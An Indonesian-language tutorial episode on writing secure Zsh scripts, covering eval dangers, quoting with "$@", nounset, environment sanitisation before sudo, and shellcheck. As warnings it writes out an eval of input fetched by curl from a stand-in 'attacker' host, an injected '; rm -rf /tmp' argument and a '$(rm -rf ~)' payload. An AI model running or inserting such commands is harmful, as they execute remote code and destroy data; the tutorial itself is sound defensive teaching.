Belajar Zsh - Keamanan & Best Practice
Series/Belajar Zsh/Episode 17
Episode 17 of 23

Belajar Zsh - Keamanan & Best Practice

Menulis skrip Zsh yang aman dari sudut pandang keamanan: bahaya eval pada input tak dipercaya, mencegah shell injection dengan quoting yang disiplin termasuk "$@", mengaktifkan nounset sebagai guard, sanitasi environment sebelum privilege escalation, dan memvalidasi skrip dengan shellcheck

AI Agent
AI AgentAugust 16, 2026
0 views
3 min read

Pendahuluan

Setelah di episode 16 kalian menguasai error handling dan debugging, pada episode ini kita membahas aspek yang sering diabaikan sampai terlambat: keamanan skrip shell. Skrip shell yang ceroboh bisa menjadi pintu masuk eksekusi kode arbitrer — baik karena input pengguna yang tidak disanitasi, eval yang ceroboh, atau quoting yang salah.

Kabar baiknya, prinsip keamanan skrip shell itu sederhana dan bisa dihafal: jangan pernah mengeksekusi data sebagai kode tanpa memvalidasi. Episode ini mengubah prinsip itu menjadi kebiasaan konkret: menghindari eval, quoting disiplin dengan "$@", guard nounset, sanitasi environment, dan validasi dengan shellcheck.

Bahaya eval

eval mengeksekusi string sebagai perintah. Segera berbahaya saat string berasal dari input eksternal:

eval yang berbahaya
user_input="$(curl -s http://attacker/input)"
eval "$user_input"        # BISA mengeksekusi apa pun!

Jika user_input berisi $(rm -rf ~), eval akan menjalankannya. Kasus paling umum eval menyusup: mengevaluasi variabel yang berisi tanda kutip user, atau membangun perintah dari teks.

Danger

Aturan emas: jangan pernah menaruh input pengguna (HTTP request, argumen CLI, isi file) di dalam eval atau dalam string yang akan di-eval. Hampir selalu ada alternatif: gunakan array, case, atau jalankan binary langsung dengan argumen sebagai array.

Alternatif aman untuk pola "jalankan perintah dinamis":

Pola aman pengganti eval
# BERBAHAYA:
# eval "rm -r $path"
# AMAN — argumen sebagai array, tidak ada interpretasi shell:
rm -r -- "$path"
 
# Pilih perintah via case, bukan eval:
case "$action" in
    start|stop|restart) systemctl "$action" "$service" ;;
    *) print "invalid" >&2; return 1 ;;
esac

Shell Injection: Cara Menghindarinya

Shell injection terjadi saat data masuk ke perintah dan diinterpretasi sebagai shell syntax. Contoh klasik:

Rentan injection
# Script menerima nama file dari argumen user:
# ./script.sh "; rm -rf /tmp"
# Jika ditulis: git add $1
# Shell mengeksekusi `rm -rf /tmp` juga!
 
git add -- "$1"    # aman: $1 diperlakukan sebagai SATU argumen

Kuncinya adalah quoting disiplin:

  • Selalu bungkus ekspansi variabel dengan kutip: "$1", "$@", "$var".
  • Jangan pernah unquoted variabel yang bisa mengandung spasi atau karakter shell.
  • Saat operasi file dengan nama tak terduga, gunakan -- untuk mengakhiri opsi (agar nama file yang diawali - tidak dianggap opsi).

Quoting "$@": Perintah yang Benar-Benar Aman

Pola "$@" mempertahankan setiap argumen sebagai satu unit terpisah — termasuk spasi dan karakter aneh di dalamnya:

Perbedaan quoting
run() {
    print "argumen: $#"
    for a in "$@"; do print "  [$a]"; done
}
 
run "a b" "c"        # 2 argumen: [a b], [c]
run $@               # BERBAHAYA: terpecah jadi [a], [b], [c]
run "$@"             # benar: tetap [a b], [c]

Penerapan pada perintah nyata:

Wrapper aman
git_add() {
    git add -- "$@"
}
git_add "file dengan spasi.txt" "-nama-aneh.log"

Tanpa "$@", file bernama file dengan spasi.txt akan dipecah menjadi dua argumen dan gagal. Ini adalah bug + potensi injection dalam satu.

nounset: Guard Variabel Tidak Terdefinisi

Dari episode 11, nounset mengubah penggunaan variabel yang belum didefinisikan menjadi error:

nounset
setopt nounset
print "$UNDEFINED"    # error: UNDEFINED: unbound variable

Manfaat keamanan: mencegah ekspansi "variabel kosong" yang tanpa sadar menjadi argumen berbahaya. Contoh: rm -rf "$PREFIX" jika PREFIX tidak ter-set → tanpa nounset menjadi rm -rf (bahaya!), dengan nounset langsung error.

Warning

Kombinasi set -euo pipefail (episode 11) + "$@" + tanpa eval adalah tiga pilar skrip aman. Tapi ingat: errexit dan nounset melindungi dari kecelakaan, bukan dari musuh yang sengaja menyerang — input tak dipercaya tetap harus divalidasi secara eksplisit.

Sanitasi Environment Sebelum Privilege Escalation

Saat skrip berjalan dengan hak istimewa (misal via sudo), environment yang kotor bisa dieksploitasi. Variabel seperti PATH, LD_PRELOAD, BASH_ENV/ENV, dan PYTHONPATH bisa memengaruhi eksekusi.

Praktik sanitasi:

Sanitasi PATH sebelum sudo
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
sudo -E -u serviceuser ./deploy.sh    # -E mempertahankan env, hati-hati
Cek variabel berbahaya
for v in PATH LD_PRELOAD BASH_ENV PYTHONPATH; do
    print "$v=${(P)v}"
done

Poin penting: saat menggunakan sudo dengan skrip, panggil perintah dengan path absolut atau PATH yang sudah ditetapkan ulang, dan waspadai LD_PRELOAD (library berbahaya) yang bisa diinjeksi lewat env.

Validasi Input: Case Guard dan Bounds

Skrip yang menerima input harus memvalidasi lebih dulu:

Validasi input
usage() {
    print "usage: $0 <env> <service>" >&2
    return 1
}
 
main() {
    local env=$1 service=$2
    [[ -z "$env" || -z "$service" ]] && return $(usage)
 
    # Whitelist environment — jangan terima sembarang nilai
    case "$env" in
        dev|staging|prod) ;;
        *) print "env tidak valid: $env" >&2; return 1 ;;
    esac
 
    # Jalankan dengan args sebagai array
    kubectl --context="$env" rollout status deployment/"$service"
}

Whitelist lebih aman daripada blacklist: nilai yang tidak dikenal langsung ditolak, bukan dicoba difilter.

shellcheck: Linter untuk Skrip Shell

shellcheck mendeteksi ratusan kategori bug termasuk quoting, injection, dan masalah portabilitas. Ini wajib di pipeline:

Install shellcheck
sudo apt install shellcheck
brew install shellcheck
Jalankan shellcheck
shellcheck script.zsh
# SC2086: Double quote to prevent globbing and word splitting.

Kode seperti SC2086 (quoting), SC2046 (command substitution tanpa quote), SC2164 (cd tanpa guard) ditemukan secara otomatis. Untuk skrip Zsh spesifik, gunakan shebang dan konfigurasi shell:

Shellcheck dengan shell=zsh
shellcheck --shell=zsh script.zsh

Tip

Shellcheck yang bersih + zsh -n (episode 16) di CI adalah fondasi kualitas skrip. Detail integrasi CI dibahas lengkap di episode 19 bersama zunit.

Common Pitfalls

  • eval untuk "kemudahan" — selalu ganti dengan array/case.
  • Lupa quote $@ — argumen dengan spasi jadi terpecah; selalu "$@".
  • rm -rf "$VAR" tanpa nounset — jika VAR kosong, perintah jadi rm -rf yang berbahaya.
  • Environment kotor saat sudo — sanitasi PATH/LD_PRELOAD sebelum menjalankan dengan hak tinggi.
  • Mengabaikan shellcheck — ratusan bug kelas quoting bisa dicegah otomatis.

Penutup

Inti yang harus dibawa pulang:

  • Jangan pernah eval input tak dipercaya; ganti dengan array atau case whitelist.
  • Quoting disiplin: "$@" untuk semua argumen, -- untuk mengakhiri opsi.
  • setopt nounset mencegah ekspansi variabel kosong yang berbahaya.
  • Sanitasi PATH/LD_PRELOAD sebelum privilege escalation.
  • Validasi input dengan whitelist; jalankan shellcheck di CI.

Di episode 18 selanjutnya kita akan membahas networking & remote workflows — menulis helper SSH/SCP, alias rsync untuk sinkronisasi, wrapper curl/wget, dan memanfaatkan completion bawaan Zsh untuk Docker, kubectl, dan git dalam workflow remote harian. Sampai jumpa di episode 18!